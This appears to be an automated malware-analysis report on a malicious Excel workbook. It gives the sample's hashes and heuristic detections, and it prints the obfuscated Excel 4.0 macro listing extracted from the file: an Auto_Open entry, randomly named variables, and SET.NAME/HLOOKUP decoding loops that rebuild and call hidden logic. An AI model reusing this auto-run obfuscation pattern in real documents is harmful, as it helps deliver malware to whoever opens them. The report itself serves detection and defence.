Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7343c2f1c8923a7f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:15 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 4e258fc16f9f1bd37a59896f9d56beb4 SHA-1: af80d1c572dcf5a227dc2bfa341433967242b11f SHA-256: 7343c2f1c8923a7f77f71e8e4dcc9180212c13f5040fd1b513d4f26fd30bad41
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6676 bytes
SHA-256: 7490d073c1313737349100053a850f6e7e08f6f4035f4367f965b1b5204391f2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vEimv
' 0018     21 LABEL : Cell Value, String Constant - aJBqMj len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F178 
' 0018     25 LABEL : Cell Value, String Constant - BPPVPKIWZk len=0 
' 0018     27 LABEL : Cell Value, String Constant - bzNhnaizZYsb len=0 
' 0018     25 LABEL : Cell Value, String Constant - dMUMynfsYs len=0 
' 0018     27 LABEL : Cell Value, String Constant - EDIzlynOUqVF len=0 
' 0018     22 LABEL : Cell Value, String Constant - gCgKYaF len=0 
' 0018     21 LABEL : Cell Value, String Constant - hAWVAS len=0 
' 0018     23 LABEL : Cell Value, String Constant - HWjzsIrs len=0 
' 0018     22 LABEL : Cell Value, String Constant - kkplHtz len=0 
' 0018     21 LABEL : Cell Value, String Constant - MjARIe len=0 
' 0018     25 LABEL : Cell Value, String Constant - NLenIKdYvp len=0 
' 0018     21 LABEL : Cell Value, String Constant - NPAFJw len=0 
' 0018     27 LABEL : Cell Value, String Constant - OvxUlEOhzyGM len=0 
' 0018     27 LABEL : Cell Value, String Constant - pMAZMEqUeUpd len=0 
' 0018     25 LABEL : Cell Value, String Constant - SqUqcWcwPB len=0 
' 0018     22 LABEL : Cell Value, String Constant - SXxjvJA len=0 
' 0018     25 LABEL : Cell Value, String Constant - tEbPCbCMmz len=0 
' 0018     24 LABEL : Cell Value, String Constant - VtfOKLGXs len=0 
' 0018     27 LABEL : Cell Value, String Constant - WgTqBXPPcauW len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZfzxCTRJBs len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vEimv,S68,"",105.00000000000000000000
'  vEimv,S69,"",-35.00000000000000000000
'  vEimv,S70,"",-888.00000000000000000000
'  vEimv,S71,"",883.00000000000000000000
'  vEimv,S72,"",67.00000000000000000000
'  vEimv,S73,"",-359.00000000000000000000
'  vEimv,F88,"SET.NAME("aJBqMj",0+VALUE("0"))",""
'  vEimv,F91,"SET.NAME("OvxUlEOhzyGM",aJBqMj)",""
'  vEimv,F93,"SET.NAME("EDIzlynOUqVF",aJBqMj)",""
'  vEimv,F96,"SET.NAME("WgTqBXPPcauW",COUNTA(dMUMynfsYs))",""
'  vEimv,F99,"SET.NAME("HWjzsIrs",COUNTA(pMAZMEqUeUpd))",""
'  vEimv,F104,[],""
'  vEimv,F109,"SET.NAME("ZfzxCTRJBs","")",""
'  vEimv,F113,"OvxUlEOhzyGM",""
'  vEimv,F117,"SET.NAME("tEbPCbCMmz",HLOOKUP("*",dMUMynfsYs,OvxUlEOhzyGM,FALSE))",""
'  vEimv,F120,"hAWVAS",""
'  vEimv,F124,"SET.NAME("gCgKYaF",aJBqMj)",""
'  vEimv,F127,[],""
'  vEimv,F132,"gCgKYaF",""
'  vEimv,F137,"kkplHtz",""
'  vEimv,F142,"SXxjvJA",""
'  vEimv,F145,"bzNhnaizZYsb",""
'  vEimv,F147,"SET.NAME("NPAFJw",VALUE(HLOOKUP("*",pMAZMEqUeUpd,bzNhnaizZYsb,FALSE)))",""
'  vEimv,F149,"BPPVPKIWZk",""
'  vEimv,F152,"ZfzxCTRJBs",""
'  vEimv,F154,"EDIzlynOUqVF",""
'  vEimv,F159,NEXT(),""
'  vEimv,F161,"MjARIe",""
'  vEimv,F165,[],""
'  vEimv,F168,"SqUqcWcwPB",""
'  vEimv,F170,NEXT(),""
'  vEimv,F174,RETURN(),""
'  vEimv,F205,"SET.NAME("NLenIKdYvp",F88)",""
'  vEimv,F210,"dMUMynfsYs",""
'  vEimv,F213,"SET.NAME("pMAZMEqUeUpd",R97C13)",""
'  vEimv,F215,"SET.NAME("SqUqcWcwPB",220)",""
'  vEimv,F217,"SET.NAME("VtfOKLGXs",6)",""
'  vEimv,F219,NLenIKdYvp(),""
'  vEimv,F220,HALT(),""

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